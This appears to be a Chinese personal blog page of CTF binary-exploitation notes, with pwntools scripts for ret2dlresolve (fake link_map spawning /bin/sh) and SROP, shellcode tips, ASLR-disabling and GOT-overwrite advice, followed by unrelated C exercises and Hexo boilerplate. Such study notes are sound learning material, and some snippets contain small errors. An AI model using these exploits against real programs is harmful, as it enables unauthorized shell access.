再知道相应的函数的系统调用号以后便可以开始写汇编以满足相应的函数调用,如

1
2
3
4
5
mov rax, 0
mov rdi, 0
mov rsi, 0x88888888
mov rdi, 0x100
syscall

当程序能执行以上的指令后便可以调用read函数向0x88888888的地方读取0x100的数据,

对于写好的汇编指令要注入到程序中必须换为机器码才能注入到程序中,可以通过以下的网站换为机器码

[Online Assembler and Disassembler (shell-storm.org)](https://shell-storm.org/online/Online-Assembler-and-Disassembler/?inst= &arch=x86-64&as_format=inline#assembly)

image-20240317085245419

对于已知机器码要想换为ascll可以通过以下网站实现

ASCII、十六进制、二进制、十进制、Base64转换器 (bchrt.com)

但是在很多情况下我们要注入的shellcode是有限制的,有的时候只能输入规定的值如大写字母和数字,像这种情况变要将写的shellcode从16进制的数转为为ascll码的值,如在ascll中A代表41,那么当我们向程序输入A,在程序内部便会存放41如果程序在能执行到这时,便回将那个41当成机器码执行,在ascll码中不同的数相对应的汇编可以在以下的网站中找到

Alphanumeric shellcode - NetSec

对于限制输入的时候可以通过异或的操作将输入的数转换为需要的数,这里给一个异或的py脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def xor_operation_case1():
original_num = int(input("请输入原数(16进制):"), 16)
xor_num = int(input("请输入要对原数进行异或的数(16进制):"), 16)

result = original_num ^ xor_num

print("异或的结果:", hex(result))
print("原数的二进制表示:", bin(original_num))
print("对原数进行异或的数的二进制表示:", bin(xor_num))
print("异或的结果的二进制表示:", bin(result))
print('\n')

def xor_operation_case2():
original_num = int(input("请输入原数(16进制):"), 16)
xor_result = int(input("请输入异或的结果(16进制):"), 16)

xor_num = original_num ^ xor_result

print("对原数进行异或的数:", hex(xor_num))
print("原数的二进制表示:", bin(original_num))
print("对原数进行异或的数的二进制表示:", bin(xor_num))
print("异或的结果的二进制表示:", bin(xor_result))
print('\n')

while True:
choice = input("请选择操作:\n1. 知道原数和要对原数进行异或的数求异或的结果;\n2. 知道异或的结果和原数求要对原数进行异或的数(输入1或2);\n输入 'exit' 退出:\n")

if choice == '1':
xor_operation_case1()
elif choice == '2':
xor_operation_case2()
elif choice.lower() == 'exit':
print("程序已退出。")
break
else:
print("无效的选择。")

ret2dlresolve类题

关于这类题目现将一般做题方法写下来,具体的原理等看看视频在回来补

须知道read函数的plt和got的地址

1
2
3
eof = ELF('./pwn')
read_plt = eof.plt['read']
read_got = eof.got['read']

plt表的头地址和这个地址+7或其它的数

bss段的空地址,这个空地址可能需要两个

rdi和rsi寄存器的修改地(如果只修改rsi的没有同时修改rsi和r15的也行,r15一直被修改为0就行)

1
2
3
4
5
6
plt0=0x401020
plt_load =p64(plt0+7)
bss=0x404040
bss_stage =bss + 0x100
pop_rdi_ret=0x88888888
pop_rsi_ret=0x88888888

还需知道在基本库中函数system和read的地址以及他们两个的差值

1
2
3
4
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
system_libc=libc.sym['system']
read_libc=libc.sym['read']
l_addr =libc.sym['system'] -libc.sym['read']

在此之后便可以开始构建其中最重要的基本过程,可以通过以下函数直接构成

其中的第一个需要输入的参数fake_linkmap_add,便是之前找的bss段的空地址,但最好用第二,第一个需要在之后用于存放这一段命令,bss_stage

第二个参数known_func_ptr,便是已知的程序中的read函数的got表的地址,read_got

第三个参数offset,便是库函数中system和read的地址以及他们两个的差值,l_addr

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b’/bin/sh\x00’
linkmap = linkmap.ljust(0x68,b’A’)
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b’A’)
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

现在便可以开始构建基本payload,和必要过程

1
2
3
4
5
fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr)

payload = flat( b'a'*(栈溢出的垃圾值,rbp+8) ,
pop_rdi, 0 ,pop_rsi ,bss_stage ,read_plt//调用read函数将fake_link_map写入bss
,pop_rsi ,0 ,pop_rdi ,bss_stage +0x48 ,plt_load ,bss_stage ,0)

之后便可以直接发个程序了

1
2
3
p.sendline(payload)
p.send(fake_link_map)
p.interactive()

综合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
#from LibcSearcher import *
context(os = "linux", arch = "amd64", log_level= "debug")

p=process('./pwn3')
#p =remote('node4.buuoj.cn',27108)
eof = ELF('./pwn3')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

read_plt = eof.plt['read']
read_got = eof.got['read']
#vuln_addr = 0x401170
plt0 = 0x401020 #plt段地址
bss = 0x404040
bss_stage =bss + 0x00
l_addr =libc.sym['system'] -libc.sym['read']

pop_rdi = 0x000000000040115e #pop rdi ; ret
pop_rsi = 0x0000000000401231 #pop rsi ; ret#用于解析符号 dl_runtime_resolve
plt_load =p64(plt0+7)

def fake_Linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
linkmap = p64(offset & (2 ** 64 - 1))#l_addr
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68,b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8,b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, read_got ,l_addr)

payload = flat( b'a'*0x78 ,pop_rdi, 0 ,pop_rsi ,bss_stage ,0,read_plt
,pop_rsi ,0 ,0,pop_rdi ,bss_stage +0x48 ,plt_load ,bss_stage ,0)

p.sendline(payload)
p.send(fake_link_map)
p.interactive()

SROP

对于这种题一般有比较明显的特点,必然有通过syscall进行函数调用的地方而不是直接调用函数,

对于像这种不用进行栈迁移的,在程序中有syscall函数调用的

在一开始必须知道得有,rdi寄存器修改,bss段的空地址,plt段的syscall函数地址

1
2
3
pop_rdi_ret=0x88888888
bss=0x404040
sysacll=0x8888888

对于srop的基本构造可以直接使用现成的工具构造,

1
2
3
4
5
6
7
frame=SigreturnFrame()
frame.rdi =59
frame.rsi =bss -0x30
frame.rdx =0
frame.rcx =0
frame.rsp =bss
frame.rip =syscall//syscall在plt的地址

现在便可以开始构建payload,我们要分两次进行输入

1
2
3
4
5
6
7
8
9
payload=b'A'*(到rbp的距离)+p64(bss)+p64(能进行输入的函数的开始,以便第二段的输入)
io.sendlineafter('srop!\n',payload)

payload=b'/bin/sh\x00'+b'A'*(到rbp的距离)
payload+=p64(pop_rdi_ret)+p64(15)+p64(syscall)+flat(frame)//将srop的基本参数输入
io.sendline(payload)

io.interactive()

在通过脚本拿到shell后发现flag不能读出来,发现pwn文件有s级权限,便可以可以用setuid函数执行0,从而获得权限读取flag,

1
2
3
4
elo=ELF('libc.so.6')
setuid_libc=elo.symbols['setuid']
setuid=setuid_libc+base_libc
payload=flat(pop_rdi_ret,0,stuid,用于拿到shell的过程)

image-20240325200803566

对于很多题目其在远程的的环境与本地的环境是不同的,对于这种环境不同的题目可以将其在远程所给的libc文件其与这道题目相结合,使其在本机上的环境与在远程的环境保持一致,通过一下命令进行,如果在存放libc的文件夹中找不到我们所需要的libc可以将其转到其中。

1
2
patchelf --set-interpreter /home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0buntu9.9_amd64/ld-2.31.so --set-rpath /home/giantbranch/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64 login(文件名)
patchelf --set-interpreter libc文件名(包括路径) --set-rpath libc文件所在的文件夹全名(包括路径) pwn(文件名)
1
patchelf --set-interpreter  /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so(根据题目要求的libc版本来) --set-rpath /home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64(文件夹名固定) pwn

在命令中,2>&1 是用来重定向标准错误(stderr)到标准输出(stdout)的。

  • 2 代表标准错误(stderr)。
  • 1 代表标准输出(stdout)。
  • > 是重定向操作符。
  • & 表示我们是在重定向一个文件描述符(在这种情况下是标准错误),而不是创建一个名为&1的文件。

因此,2>&1 说的是:“将标准错误(文件描述符2)重定向到与标准输出(文件描述符1)相同的地方。”

1>&2 说的是:“将标准输出(文件描述符1)重定向到与标准错误(文件描述符2)相同的地方

在遇到堆的题目时必须注意其所在的libc版本,不同的libc版本有的保护机制不同

ASLR(Address Space Layout Randomization,地址空间布局随机化)是一种计算机安全技术,旨在增加攻击者成功利用漏洞的难度。它通过在每次程序启动时随机化内存布局,特别是代码和数据的加载地址,来减少攻击者对程序内存结构的了解。

具体来说,ASLR会随机化程序的基址、堆栈、共享库、内核数据结构等的位置,使得攻击者不能依赖于已知的内存布局来进行攻击。这样一来,即使攻击者成功地发现了漏洞并尝试利用,他们也需要在不确定的内存位置上执行恶意代码,从而增加了攻击的复杂性

一般情况下这个ASLR都是开启的,如果我们在有的题需要对程序的这个保护关闭的话可以使用一下的办法

1
2
3
4
$ sudo su
[sudo] password : 你自己的密码
echo 0 > /proc/sys/kernel/randomize_va_space
123

重启虚拟机后就会自动开启,所以不用担心。

RELRO保护是一种防御性措施,用于防止某些攻击,例如PLT/GOT覆盖和类似的漏洞。启用了Full RELRO的程序在运行时会锁定重定位表和全局偏移表(GOT),使它们只读,这可以防止攻击者修改这些表来劫持程序控制流或执行恶意代码

在题目中,特别是堆题中这个RELRO保护的开启与否对题目的做法有重要的关系,在题目一般会有两种情况的,保护开启

1
RELRO:    Full RELRO

保护关闭

1
RELRO:    Partial RELRO

当我们做题时遇到保护关闭的情况时,可以使用直接修改函数got表上的地址,使其地址中存放的是另一个函数的got地址(如直接修改为system函数的got表,使得程序在执行原本的函数时,直接被改为执行sytem函数)

如果遇到程序中的保护开启时,这种办法便不能行,此时由于这个保护的存在导致got表上的地址是被保护起来的,不可被修改,此时要拿到shell便可以考虑修改malloc_hook和free_hook的地址使其直接执行one_getgad的地址拿到shell。

python evilPatcher.py

  • malloc_hook
  • free_hook
  • unsorted bin 泄露libc地址

C语言题目

  1. 编写一个 C 程序,创建一个整型数组,并通过用户输入初始化数组的元素。然后将数组的每个元素转换为二进制格式并输出。

输入示例:

1
2
5
1 3 7 15 31

输出示例:

1
2
3
4
5
6
yaml
1: 1
3: 11
7: 111
15: 1111
31: 11111

2定义一个名为 IntegerInfo 的结构体,它包含两个成员变量,一个整型变量 num 用于存储整数,另一个字符串 binary 用于存储整数的二进制表示。编写一个函数,接受一个整数作为参数,返回一个 IntegerInfo 结构体,其中的 num 存储输入整数,binary 存储整数的二进制表示。

输入示例:

1
5

输出示例:

1
2
3
makefile
num: 5
binary: 101

3编写一个 C 程序,定义一个一维整型数组,通过用户输入初始化数组的元素。然后编写一个函数,接受这个数组和一个整数 n 作为参数,返回一个新的数组,其中包含原数组中所有大于 n 的元素的二进制表示。

输入示例:

1
2
3
5
1 3 7 15 31
7

输出示例:

1
2
3
yaml
1111
11111

4定义一个名为 BinaryString 的结构体,包含一个字符串 str 用于存储二进制数字,和一个整型变量 length 用于存储字符串的长度。编写一个函数,ring` 结构体数组中,最后返回这个数组。

输入示例:

1
Hello

输出示例:

1
2
3
4
5
6
makefile
H: 1001000
e: 1100101
l: 1101100
l: 1101100
o: 1101111

5编写一个 C 程序,定义一个结构体数组,每个结构体包含一个整型变量和一个字符串。通过用户输入初始化结构体数组的元素,然后编写一个函数,接受这个结构体数组和一个整数 n 作为参数,返回一个新的数组,其中包含原数组中所有整型变量大于 n 的结构体的字符串的二进制表示。

输入示例:

1
2
3
4
5
3
1 Hello
15 World
31 Test
20

输出示例:

1
2
3
makefile
World: 1010111 1101111 1140100 1100100 1100100
Test: 1010100 1100101 1110011 1110100

6编写一个 C 程序,定义一个名为 Array 的结构体,包含两个成员:一个整型指针 data 用于存储数组的元素,一个整型变量 length 用于存储数组的长度。使用动态内存分配创建一个 Array 结构体,并通过用户输入初始化结构体的成员。然后编写一个函数,使用指针操作,翻转数组中的元素,并输出翻转后的数组。

输入示例:

1
2
5
1 3 7 15 31

输出示例:

1
31 15 7 3 1
7编写一个 C 程序,定义一个名为 Buffer 的结构体,包含两个成员:一个字符指针 data 用于存储字符串,一个整型变量 length 用于存储字符串的长度。使用动态内存分配创建一个 Buffer 结构体,并通过用户输入初始化结构体的成员。然后编写一个函数,使用指针操作,将字符串中的所有小写字母转为大写字母,并输出转换后的字符串。

输入示例:

1
hello world

输出示例:

1
HELLO WORLD

8编写一个 C 程序,使用指针创建一个二维整型数组,并通过用户输入初始化数组的元素。然后计算并输出数组中所有元素的和。

输入示例:

1
2
3
4
3 3
1 2 3
4 5 6
7 8 9

输出示例:

1
45

1
2
3
4
5
6
7
 title: xxx    //在此处添加你的标题。 

date: 2016-10-07 13:38:49 //在此处输入编辑这篇文章的时间。

tags: xxx //在此处输入这篇文章的标签。

categories: xxx //在此处输入这篇文章的分类。 ---

Hello World

Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.

Quick Start

Create a new post

1
$ hexo new "My New Post"

More info: Writing

Run server

1
$ hexo server

More info: Server

Generate static files

1
$ hexo generate

More info: Generating

Deploy to remote sites

1
$ hexo deploy

More info: Deployment

002917-16858097570092

INFO Copying files from extend dirs…
On branch master
nothing to commit, working tree clean
Everything up-to-date
branch ‘master’ set up to track ‘git@github.com:2023478/2023478.github.io.git/main’.
INFO Deploy done: git